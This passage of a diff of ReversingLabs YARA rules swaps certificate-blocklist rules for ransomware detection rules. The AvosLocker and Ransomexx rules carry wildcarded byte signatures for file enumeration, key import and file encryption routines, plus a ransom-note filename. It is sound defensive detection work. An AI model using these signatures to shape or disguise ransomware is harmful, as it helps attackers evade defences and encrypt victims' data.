+ 50 6A ?? 6A ?? 6A ?? FF 15 + } + $instruction_string = "INSTRUCTIONS HOW TO GET YOUR FILES BACK.txt" wide + condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Haivision Network Video" and pe.signatures [ i ] . serial == "5f:82:03:c4:30:fc:7d:b4:e6:1f:66:84:f6:82:9f:fc" and 1382572799 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and ( $entry_point at pe.entry_point ) and $dump_instruction and $extension_rule and $instruction_string } - -rule REVERSINGLABS_Cert_Blocklist_6B6Daef5Be29F20Ddce4B0F5E9Fa6Ea5 : INFO FILE +rule REVERSINGLABS_Win32_Ransomware_Avoslocker : TC_DETECTION MALICIOUS MALWARE FILE { meta: - description = "Certificate used for digitally signing malware." + description = "Yara rule that detects AvosLocker ransomware." author = "ReversingLabs" - id = "55611c9a-d45d-55fa-8e5e-a5621223cc9d" - date = "2020-08-05" - modified = "2023-11-08" + id = "a803283d-6424-5a64-89e6-c73a3322ba1e" + date = "2021-10-22" + modified = "2021-10-22" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L2524-L2540" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.AvosLocker.yara#L1-L108" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "edd2f302d2fac65f6a93372a24c3f80757f2b175af661032917366e9629c5491" + logic_hash = "4d81b801a95a54a35989c4a985d92578971568d1412f625bca911d0fa1eee1fe" score = 75 quality = 90 - tags = "INFO, FILE" + tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "INFO" + category = "MALWARE" + tc_detection_type = "Ransomware" + tc_detection_name = "AvosLocker" + tc_detection_factor = 5 importance = 25 + strings: + $find_files = { + 53 53 53 51 F7 D0 23 85 ?? ?? ?? ?? 53 50 FF 15 ?? ?? ?? ?? 8B F0 83 FE ?? 75 ?? FF + B5 ?? ?? ?? ?? 53 53 57 E8 ?? ?? ?? ?? 83 C4 ?? 8B D8 E9 ?? ?? ?? ?? 8B 85 ?? ?? ?? + ?? 8B 48 ?? 2B 08 C1 F9 ?? 89 8D ?? ?? ?? ?? 89 9D ?? ?? ?? ?? 89 9D ?? ?? ?? ?? 89 + 9D ?? ?? ?? ?? 89 9D ?? ?? ?? ?? 89 9D ?? ?? ?? ?? 88 9D ?? ?? ?? ?? E8 ?? ?? ?? ?? + 50 8D 85 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 + C4 ?? F7 D8 1B C0 F7 D0 23 85 ?? ?? ?? ?? 80 38 ?? 75 ?? 8A 48 ?? 84 C9 74 ?? 80 F9 + ?? 75 ?? 38 58 ?? 74 ?? FF B5 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? 57 50 E8 ?? ?? ?? ?? 83 + C4 ?? 89 85 ?? ?? ?? ?? 85 C0 75 ?? 38 9D ?? ?? ?? ?? 74 ?? FF B5 ?? ?? ?? ?? E8 ?? + ?? ?? ?? 59 8D 85 ?? ?? ?? ?? 50 56 FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 8B 85 + ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? 8B 10 8B 40 ?? 2B C2 C1 F8 ?? 3B C8 74 ?? 68 ?? ?? ?? + ?? 2B C1 6A ?? 50 8D 04 8A 50 E8 ?? ?? ?? ?? 83 C4 ?? EB ?? 38 9D ?? ?? ?? ?? 74 ?? + FF B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 59 8B D8 56 FF 15 + } + $enum_resources = { + 50 51 6A ?? 6A ?? 6A ?? C7 45 ?? ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? + ?? FF 75 ?? 6A ?? FF 15 ?? ?? ?? ?? 8B F8 85 FF 0F 84 ?? ?? ?? ?? FF 75 ?? 6A ?? 57 + E8 ?? ?? ?? ?? 83 C4 ?? 8D 45 ?? 50 57 8D 45 ?? 50 FF 75 ?? FF 15 ?? ?? ?? ?? 85 C0 + 0F 85 ?? ?? ?? ?? 33 DB 39 5D ?? 76 ?? 8D 77 ?? 83 7E ?? ?? 0F 85 ?? ?? ?? ?? 83 7E + ?? ?? 0F 85 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 8D 46 ?? 50 FF 15 ?? ?? ?? ?? 85 C0 0F 85 + ?? ?? ?? ?? 39 46 ?? B9 ?? ?? ?? ?? 0F 28 05 ?? ?? ?? ?? 8B D1 0F 45 56 ?? 8B C1 83 + 7E ?? ?? 0F 11 85 ?? ?? ?? ?? 0F 45 46 ?? 83 3E ?? 0F 28 05 ?? ?? ?? ?? 89 45 ?? 8B + C1 0F 45 06 83 7E ?? ?? 0F 11 45 ?? 89 45 ?? 8B C1 0F 28 05 ?? ?? ?? ?? 0F 45 46 ?? + 33 C9 0F 11 45 ?? 89 45 ?? 0F 28 05 ?? ?? ?? ?? 0F 11 45 ?? 8A 85 ?? ?? ?? ?? 30 84 + 0D ?? ?? ?? ?? 41 83 F9 ?? 72 ?? 52 FF 75 ?? 8D 85 ?? ?? ?? ?? C6 45 ?? ?? FF 75 ?? + FF 75 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 83 3E ?? 0F 84 ?? ?? ?? ?? FF 36 E8 ?? ?? ?? ?? + 59 83 F8 ?? 0F 86 ?? ?? ?? ?? 8B 06 80 78 ?? ?? 75 ?? B1 ?? C7 45 ?? ?? ?? ?? ?? C7 + 45 ?? ?? ?? ?? ?? 33 C0 66 C7 45 ?? ?? ?? C6 45 ?? ?? 30 4C 05 ?? 40 83 F8 ?? 73 ?? + 8A 4D ?? EB ?? 8D 45 ?? C6 45 ?? ?? 50 E8 ?? ?? ?? ?? 59 FF 36 8D 8D ?? ?? ?? ?? E8 + ?? ?? ?? ?? 83 65 ?? ?? 50 51 8D 4D ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 50 E8 ?? ?? ?? ?? + C6 45 ?? ?? 83 7D ?? ?? 0F 85 ?? ?? ?? ?? 83 4D ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? + ?? EB ?? B1 ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 33 C0 C7 45 ?? ?? ?? ?? ?? + C6 45 ?? ?? 30 4C 05 ?? 40 83 F8 ?? 73 ?? 8A 4D ?? EB ?? 8D 45 ?? C6 45 ?? ?? 50 E8 + ?? ?? ?? ?? 59 F7 46 ?? ?? ?? ?? ?? 74 ?? 8D 4E ?? E8 ?? ?? ?? ?? 43 83 C6 ?? 3B 5D + ?? 0F 82 ?? ?? ?? ?? E9 ?? ?? ?? ?? FF 75 ?? FF 15 + } + $import_key = { + 50 53 53 68 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 85 C0 + 0F 85 ?? ?? ?? ?? 8B 35 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 53 68 ?? ?? ?? ?? 50 68 ?? ?? + ?? ?? FF D6 50 53 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? B1 ?? C7 85 ?? ?? ?? ?? ?? ?? ?? + ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 8B C3 C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 30 8C 05 ?? ?? + ?? ?? 40 83 F8 ?? 73 ?? 8A 8D ?? ?? ?? ?? EB ?? 8D 85 ?? ?? ?? ?? 88 9D ?? ?? ?? ?? + 50 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 0F 28 05 ?? ?? ?? ?? 59 0F 11 85 ?? ?? ?? ?? + 59 0F 28 05 ?? ?? ?? ?? 8B CB 0F 11 85 ?? ?? ?? ?? 66 C7 85 ?? ?? ?? ?? ?? ?? 88 9D + ?? ?? ?? ?? 8A 85 ?? ?? ?? ?? 30 84 0D ?? ?? ?? ?? 41 83 F9 ?? 72 ?? 88 9D ?? ?? ?? + ?? FF D6 50 8D 85 ?? ?? ?? ?? E9 ?? ?? ?? ?? FF 36 8D 45 ?? 89 9D ?? ?? ?? ?? 50 E8 + ?? ?? ?? ?? FF 76 ?? 8D 45 ?? 50 E8 ?? ?? ?? ?? 8D 45 ?? 50 E8 ?? ?? ?? ?? 8B 8D ?? + ?? ?? ?? 83 C4 ?? 8B D7 50 8D 45 ?? 50 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? + 84 C0 75 ?? 0F 28 05 ?? ?? ?? ?? 8B CB 0F 11 85 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? + ?? ?? 0F 28 05 ?? ?? ?? ?? 0F 11 85 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 66 C7 + 85 ?? ?? ?? ?? ?? ?? 88 9D ?? ?? ?? ?? 8A 85 ?? ?? ?? ?? 30 84 0D ?? ?? ?? ?? 41 83 + F9 ?? 72 ?? 8D 85 ?? ?? ?? ?? 88 9D ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 59 8D 45 ?? 50 E8 + ?? ?? ?? ?? 59 8D 4D ?? 85 C0 74 ?? 88 19 41 83 E8 ?? 75 ?? 39 9D ?? ?? ?? ?? 74 ?? + FF B5 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8B 4D ?? 5F 5E 33 CD 5B E8 + } + $encrypt_files = { + 50 51 51 FF B5 ?? ?? ?? ?? 51 FF B5 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? + ?? ?? 8B BD ?? ?? ?? ?? 57 89 BD ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B F0 59 85 F6 0F 84 ?? + ?? ?? ?? 8B 85 ?? ?? ?? ?? 8B CE 85 C0 74 ?? C6 01 ?? 41 83 E8 ?? 75 ?? 8D 85 ?? ?? + ?? ?? 50 E8 ?? ?? ?? ?? 59 83 C0 ?? 74 ?? 39 85 ?? ?? ?? ?? 72 ?? 50 8D 85 ?? ?? ?? + ?? 50 56 E8 ?? ?? ?? ?? 83 C4 ?? EB ?? FF B5 ?? ?? ?? ?? 6A ?? 56 E8 ?? ?? ?? ?? 83 + C4 ?? E8 ?? ?? ?? ?? C7 00 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? + ?? ?? 59 57 40 89 85 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 56 6A ?? FF B5 ?? ?? ?? ?? 6A + ?? FF B5 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? D1 EF 6A ?? 5A 74 ?? + 8B 9D ?? ?? ?? ?? 4B 03 DE 8A 03 8A 0C 32 88 04 32 42 88 0B 4B 3B D7 72 ?? 8B 9D ?? + ?? ?? ?? 8B BD ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 57 03 C3 56 50 E8 ?? ?? ?? ?? 03 DF 56 + 89 9D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B BD ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 8B B5 ?? ?? ?? + ?? 47 81 C6 ?? ?? ?? ?? 89 BD ?? ?? ?? ?? 50 89 B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? 33 D2 + B9 ?? ?? ?? ?? F7 F1 83 C4 ?? 40 3B F8 0F 82 + } + condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Calibration Consultants" and pe.signatures [ i ] . serial == "6b:6d:ae:f5:be:29:f2:0d:dc:e4:b0:f5:e9:fa:6e:a5" and 1280447999 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and ( $enum_resources ) and ( $find_files ) and ( $import_key ) and ( $encrypt_files ) } - -rule REVERSINGLABS_Cert_Blocklist_57D6Dff1Ef96F01B9430666B2733Cc87 : INFO FILE +rule REVERSINGLABS_Win32_Ransomware_Ransomexx : TC_DETECTION MALICIOUS MALWARE FILE { meta: - description = "Certificate used for digitally signing malware." + description = "Yara rule that detects Ransomexx ransomware." author = "ReversingLabs" - id = "c20b81a1-7331-57a9-9daf-007ec516a473" - date = "2020-08-05" - modified = "2023-11-08" + id = "5e62660d-2696-56c7-9322-fed6ce9d36ff" + date = "2020-11-26" + modified = "2020-11-26" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L2542-L2558" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.Ransomexx.yara#L1-L147" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "40d22137e9c5345859c5f000166da2a3117bcfcc19b4c5e81083cad80dfa6ee4" + logic_hash = "27b4132b7f16cafc40687e96a552ce59cc24ebf7679575680f170e3beee8a0a9" score = 75 quality = 90 - tags = "INFO, FILE" + tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "INFO" + category = "MALWARE" + tc_detection_type = "Ransomware" + tc_detection_name = "Ransomexx" + tc_detection_factor = 5 importance = 25 - condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Smart Plugin Ltda" and pe.signatures [ i ] . serial == "57:d6:df:f1:ef:96:f0:1b:94:30:66:6b:27:33:cc:87" and 1314575999 <= pe.signatures [ i ] . not_after ) -} - -rule REVERSINGLABS_Cert_Blocklist_0166B65038D61E5435B48204Cae4795A : INFO FILE -{ - meta: - description = "Certificate used for digitally signing malware." - author = "ReversingLabs" - id = "04bdefc5-ee4e-5a46-94d6-e3a5d8b56ce0" - date = "2020-08-05" - modified = "2023-11-08" - reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L2560-L2576" - license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "4e289eda4d5381250bcd6e36daade6f1e1803b6d16578d7eaee4454cef6981d0" - score = 75 - quality = 90 - tags = "INFO, FILE" - status = "RELEASED" - sharing = "TLP:WHITE" - category = "INFO" - importance = 25 + strings: + $find_files_p1 = { + 55 8B EC 81 EC ?? ?? ?? ?? 53 56 57 8B 7D ?? 85 FF 0F 84 ?? ?? ?? ?? B8 ?? ?? ?? ?? + E8 ?? ?? ?? ?? 8B F4 B3 ?? 85 F6 74 ?? C6 46 ?? ?? B0 ?? 66 C7 06 ?? ?? 88 5E ?? 88 + 46 ?? 8B C7 8D 50 ?? 90 8A 08 40 84 C9 75 ?? 2B C2 8B D0 8B C6 8D 78 ?? 8A 08 40 84 + C9 75 ?? 2B C7 8D 84 10 ?? ?? ?? ?? 50 6A ?? FF 15 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? + 89 45 ?? 85 C0 0F 84 ?? ?? ?? ?? 8B 7D ?? 68 ?? ?? ?? ?? 57 50 FF 15 ?? ?? ?? ?? 68 + ?? ?? ?? ?? 56 8B 75 ?? 56 FF 15 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 51 56 FF 15 ?? ?? ?? + ?? 8B F0 89 75 ?? 83 FE ?? 75 ?? FF 15 ?? ?? ?? ?? 8D A5 ?? ?? ?? ?? 5F 5E 5B 8B E5 + 5D C3 B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B C4 89 45 ?? 85 C0 74 ?? C6 40 ?? ?? 88 18 88 + 58 ?? B9 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 8D 49 ?? 8A 10 3A 11 75 ?? 84 D2 74 ?? 8A 50 + ?? 3A 51 ?? 75 ?? 83 C0 ?? 83 C1 ?? 84 D2 75 ?? 33 C0 EB ?? 1B C0 83 D8 ?? 85 C0 0F + 84 ?? ?? ?? ?? 8B 4D ?? 8D 85 ?? ?? ?? ?? 8A 10 3A 11 75 ?? 84 D2 74 ?? 8A 50 ?? 3A + } + $find_files_p2 = { + 51 ?? 75 ?? 83 C0 ?? 83 C1 ?? 84 D2 75 ?? 33 C0 EB ?? 1B C0 83 D8 ?? 85 C0 0F 84 ?? + ?? ?? ?? 8B C7 8D 50 ?? 8A 08 40 84 C9 75 ?? 2B C2 8B D0 8D 85 ?? ?? ?? ?? 8D 70 ?? + 8D 64 24 ?? 8A 08 40 84 C9 75 ?? 8B 1D ?? ?? ?? ?? 2B C6 8D 94 10 ?? ?? ?? ?? 52 6A + ?? FF D3 50 FF 15 ?? ?? ?? ?? 8B F0 85 F6 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 57 56 FF + 15 ?? ?? ?? ?? 56 FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 56 FF 15 ?? + ?? ?? ?? F6 85 ?? ?? ?? ?? ?? 74 ?? 56 E8 ?? ?? ?? ?? 83 C4 ?? EB ?? 6A ?? 56 FF 15 + ?? ?? ?? ?? 68 ?? ?? ?? ?? 56 FF 15 ?? ?? ?? ?? 85 C0 74 ?? 56 FF 15 ?? ?? ?? ?? 85 + C0 75 ?? 56 FF 15 ?? ?? ?? ?? 85 C0 75 ?? 6A ?? 6A ?? 56 FF 15 ?? ?? ?? ?? 56 6A ?? + FF D3 50 FF 15 ?? ?? ?? ?? 8B 75 ?? 8D 8D ?? ?? ?? ?? 51 56 FF 15 ?? ?? ?? ?? 85 C0 + 0F 85 ?? ?? ?? ?? 56 FF 15 ?? ?? ?? ?? 8B 55 ?? 52 6A ?? FF 15 ?? ?? ?? ?? 50 FF 15 + ?? ?? ?? ?? 6A ?? 57 FF 15 ?? ?? ?? ?? 57 FF 15 ?? ?? ?? ?? 8D A5 ?? ?? ?? ?? 5F 5E + 5B 8B E5 5D C3 + } + $find_files_p3 = { + 55 8B EC 83 E4 ?? 81 EC ?? ?? ?? ?? 53 56 57 8B 7D ?? 85 FF 0F 84 ?? ?? ?? ?? 8B C7 + 8D 50 ?? 90 66 8B 08 83 C0 ?? 66 85 C9 75 ?? 2B C2 D1 F8 8D B4 00 ?? ?? ?? ?? 8D 86 + ?? ?? ?? ?? 50 6A ?? FF 15 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 8B D8 85 DB 0F 84 ?? ?? + ?? ?? 56 57 53 FF 15 ?? ?? ?? ?? 56 68 ?? ?? ?? ?? 53 FF 15 ?? ?? ?? ?? 8D 4C 24 ?? + 51 53 FF 15 ?? ?? ?? ?? 89 44 24 ?? 83 F8 ?? 75 ?? 8B 3D ?? ?? ?? ?? FF D7 83 F8 ?? + 0F 84 ?? ?? ?? ?? FF D7 E9 ?? ?? ?? ?? 8D A4 24 ?? ?? ?? ?? 8B 3D ?? ?? ?? ?? 68 ?? + ?? ?? ?? 8D 94 24 ?? ?? ?? ?? 52 FF D7 85 C0 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 84 + 24 ?? ?? ?? ?? 50 FF D7 85 C0 0F 84 ?? ?? ?? ?? F6 44 24 ?? ?? 0F 85 ?? ?? ?? ?? 8B + 4D ?? 56 51 53 FF 15 ?? ?? ?? ?? 56 68 ?? ?? ?? ?? 53 FF 15 ?? ?? ?? ?? 56 8D 94 24 + ?? ?? ?? ?? 52 53 FF 15 ?? ?? ?? ?? F6 44 24 ?? ?? 74 ?? E8 ?? ?? ?? ?? 85 C0 0F 85 + ?? ?? ?? ?? 53 E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 8D 44 24 ?? 50 FF 15 ?? ?? ?? ?? 85 C0 + 74 ?? 66 83 38 ?? 74 ?? 68 ?? ?? ?? ?? 50 FF D7 85 C0 75 ?? FF 05 ?? ?? ?? ?? E9 ?? + ?? ?? ?? 8D 7C 24 ?? E8 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 39 05 ?? ?? ?? ?? 0F 84 + ?? ?? ?? ?? 8B 3D ?? ?? ?? ?? 8D 4C 24 ?? 51 8D 54 24 ?? 52 FF D7 85 C0 74 ?? 8D 44 + } + $find_files_p4 = { + 24 ?? 50 8D 4C 24 ?? 51 6A ?? FF 15 ?? ?? ?? ?? 85 C0 74 ?? 0F B7 44 24 ?? 8B 0D ?? + ?? ?? ?? 3B C1 74 ?? 49 3B C1 74 ?? 8D 54 24 ?? 52 8D 44 24 ?? 50 FF D7 85 C0 74 ?? + 8D 4C 24 ?? 51 8D 54 24 ?? 52 6A ?? FF 15 ?? ?? ?? ?? 85 C0 74 ?? 0F B7 44 24 ?? 8B + 0D ?? ?? ?? ?? 3B C1 74 ?? 49 3B C1 74 ?? 8D 4C 24 ?? E8 ?? ?? ?? ?? 85 C0 0F 85 ?? + ?? ?? ?? 8B 44 24 ?? 0B 44 24 ?? 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? + A1 ?? ?? ?? ?? 8B 0D ?? ?? ?? ?? 6A ?? 6A ?? 50 51 FF 15 ?? ?? ?? ?? 83 F8 ?? 74 ?? + 80 3B ?? 75 ?? 80 7B ?? ?? 75 ?? 8B 15 ?? ?? ?? ?? 8D 3C 85 ?? ?? ?? ?? 8B 04 17 53 + 50 FF 15 ?? ?? ?? ?? EB ?? 8B 0D ?? ?? ?? ?? 8D 3C 85 ?? ?? ?? ?? 8B 14 0F 68 ?? ?? + ?? ?? 52 FF 15 ?? ?? ?? ?? A1 ?? ?? ?? ?? 8B 0C 07 68 ?? ?? ?? ?? 53 51 FF 15 ?? ?? + ?? ?? 8B 15 ?? ?? ?? ?? 8B 04 17 50 FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 15 ?? ?? ?? + ?? 8B 54 24 ?? 8D 4C 24 ?? 51 52 FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 8B 44 24 + ?? 50 FF 15 ?? ?? ?? ?? 53 6A ?? FF 15 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 5F 5E 33 C0 + 5B 8B E5 5D C2 + } + $enum_network_resources = { + 55 8B EC 8B 4D ?? 83 EC ?? 8D 45 ?? 50 51 6A ?? 6A ?? 6A ?? FF 15 ?? ?? ?? ?? 85 C0 + 0F 85 ?? ?? ?? ?? 53 8B 1D ?? ?? ?? ?? 56 68 ?? ?? ?? ?? 6A ?? C7 45 ?? ?? ?? ?? ?? + FF D3 50 FF 15 ?? ?? ?? ?? 8B F0 89 75 ?? 85 F6 0F 84 ?? ?? ?? ?? 57 90 8B 4D ?? 8D + 55 ?? 52 56 8D 45 ?? 50 51 C7 45 ?? ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? + ?? ?? 33 FF 39 7D ?? 76 ?? 83 C6 ?? 8D 64 24 ?? F6 46 ?? ?? 74 ?? F6 46 ?? ?? 74 ?? + 8B 06 8D 50 ?? 66 8B 08 83 C0 ?? 66 85 C9 75 ?? 2B C2 D1 F8 8D 94 00 ?? ?? ?? ?? 52 + 6A ?? FF D3 50 FF 15 ?? ?? ?? ?? 8B 0D ?? ?? ?? ?? 89 04 8D ?? ?? ?? ?? 85 C0 74 ?? + 8B 16 0F B7 0A 66 89 08 83 C2 ?? 83 C0 ?? 66 85 C9 75 ?? FF 05 ?? ?? ?? ?? 8B 56 ?? + 83 E2 ?? 80 FA ?? 75 ?? 8D 46 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 47 83 C6 ?? 3B 7D ?? 72 + ?? 8B 75 ?? E9 ?? ?? ?? ?? 56 6A ?? FF D3 50 FF 15 ?? ?? ?? ?? 5F 8B 4D ?? 51 FF 15 + ?? ?? ?? ?? 5E 5B 8B E5 5D C3 + } + $encrypt_files_p1 = { + 55 8B EC 83 EC ?? 53 56 57 E8 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? + 89 45 ?? 8D 45 ?? 50 FF 15 ?? ?? ?? ?? 8B 4D ?? B8 ?? ?? ?? ?? 89 4D ?? E8 ?? ?? ?? + ?? 8B F4 85 F6 0F 84 ?? ?? ?? ?? 8B D6 81 EA ?? ?? ?? ?? 83 C2 ?? 89 55 ?? 8B D6 81 + EA ?? ?? ?? ?? 83 C2 ?? 89 55 ?? 8B D6 8B CE 8B FE 81 EA ?? ?? ?? ?? 33 C0 81 E9 ?? + ?? ?? ?? 81 EF ?? ?? ?? ?? 83 C2 ?? C6 46 ?? ?? 89 55 ?? 8B 5D ?? 8A D0 80 E2 ?? 02 + 90 ?? ?? ?? ?? 32 90 ?? ?? ?? ?? 88 94 01 ?? ?? ?? ?? 8D 50 ?? 80 E2 ?? 02 90 ?? ?? + ?? ?? 32 90 ?? ?? ?? ?? 88 94 07 ?? ?? ?? ?? 8D 50 ?? 80 E2 ?? 02 90 ?? ?? ?? ?? 32 + 90 ?? ?? ?? ?? 88 94 03 ?? ?? ?? ?? 8B 5D ?? 8D 50 ?? 80 E2 ?? 02 90 ?? ?? ?? ?? 32 + 90 ?? ?? ?? ?? 88 94 03 ?? ?? ?? ?? 8B 5D ?? 8D 50 ?? 80 E2 ?? 02 90 ?? ?? ?? ?? 32 + 90 ?? ?? ?? ?? 88 94 03 ?? ?? ?? ?? 8D 50 ?? 80 E2 ?? 02 90 ?? ?? ?? ?? 83 C0 ?? 32 + 90 ?? ?? ?? ?? 88 54 06 ?? 83 F8 ?? 0F 8C ?? ?? ?? ?? A1 ?? ?? ?? ?? 8B 4D ?? 50 51 + FF 15 ?? ?? ?? ?? 50 56 E8 ?? ?? ?? ?? 83 C4 ?? 6A ?? FF 15 ?? ?? ?? ?? 50 FF 15 ?? + ?? ?? ?? 8B 35 ?? ?? ?? ?? 8D 55 ?? 52 6A ?? 6A ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? C7 45 + ?? ?? ?? ?? ?? FF D6 85 C0 75 ?? 8B 3D ?? ?? ?? ?? 8D 49 ?? 68 ?? ?? ?? ?? FF D7 8D + 45 ?? 50 6A ?? 6A ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? FF D6 85 C0 74 ?? 50 FF 15 ?? ?? ?? + ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B FC 85 FF 0F 84 ?? ?? ?? ?? 8B D7 81 EA ?? ?? ?? + ?? 83 C2 ?? 89 55 ?? 8B D7 81 EA ?? ?? ?? ?? 83 C2 ?? 89 55 ?? 8B D7 8B CF 8B F7 81 + } + $encrypt_files_p2 = { + EA ?? ?? ?? ?? 33 C0 81 E9 ?? ?? ?? ?? 81 EE ?? ?? ?? ?? 83 C2 ?? C6 47 ?? ?? 89 55 + ?? 8B 5D ?? 8A D0 80 E2 ?? 02 90 ?? ?? ?? ?? 32 90 ?? ?? ?? ?? 88 94 08 ?? ?? ?? ?? + 8D 50 ?? 80 E2 ?? 02 90 ?? ?? ?? ?? 32 90 ?? ?? ?? ?? 88 94 30 ?? ?? ?? ?? 8D 50 ?? + 80 E2 ?? 02 90 ?? ?? ?? ?? 32 90 ?? ?? ?? ?? 88 94 18 ?? ?? ?? ?? 8B 5D ?? 8D 50 ?? + 80 E2 ?? 02 90 ?? ?? ?? ?? 32 90 ?? ?? ?? ?? 88 94 18 ?? ?? ?? ?? 8B 5D ?? 8D 50 ?? + 80 E2 ?? 02 90 ?? ?? ?? ?? 32 90 ?? ?? ?? ?? 88 94 18 ?? ?? ?? ?? 8D 50 ?? 80 E2 ?? + 02 90 ?? ?? ?? ?? 83 C0 ?? 32 90 ?? ?? ?? ?? 88 54 07 ?? 83 F8 ?? 0F 8C ?? ?? ?? ?? + E8 ?? ?? ?? ?? 8B D8 C7 05 ?? ?? ?? ?? ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8B C8 2B 4D ?? + B8 ?? ?? ?? ?? F7 E1 8B CA C1 E9 ?? B8 ?? ?? ?? ?? F7 E1 C1 EA ?? 8B C2 C1 E0 ?? 2B + C2 03 C0 03 C0 2B C8 8B F2 B8 ?? ?? ?? ?? F7 E6 A1 ?? ?? ?? ?? 51 C1 EA ?? 8B CA C1 + E1 ?? 2B CA 03 C9 03 C9 2B F1 56 52 8B 15 ?? ?? ?? ?? 52 50 53 57 E8 ?? ?? ?? ?? 83 + C4 ?? 85 DB 0F 84 ?? ?? ?? ?? C7 05 ?? ?? ?? ?? ?? ?? ?? ?? C7 05 ?? ?? ?? ?? ?? ?? + ?? ?? E8 ?? ?? ?? ?? 8B D8 C7 05 ?? ?? ?? ?? ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8B C8 2B + 4D ?? B8 ?? ?? ?? ?? F7 E1 8B CA C1 E9 ?? B8 ?? ?? ?? ?? F7 E1 C1 EA ?? 8B C2 C1 E0 + ?? 2B C2 03 C0 03 C0 2B C8 8B F2 B8 ?? ?? ?? ?? F7 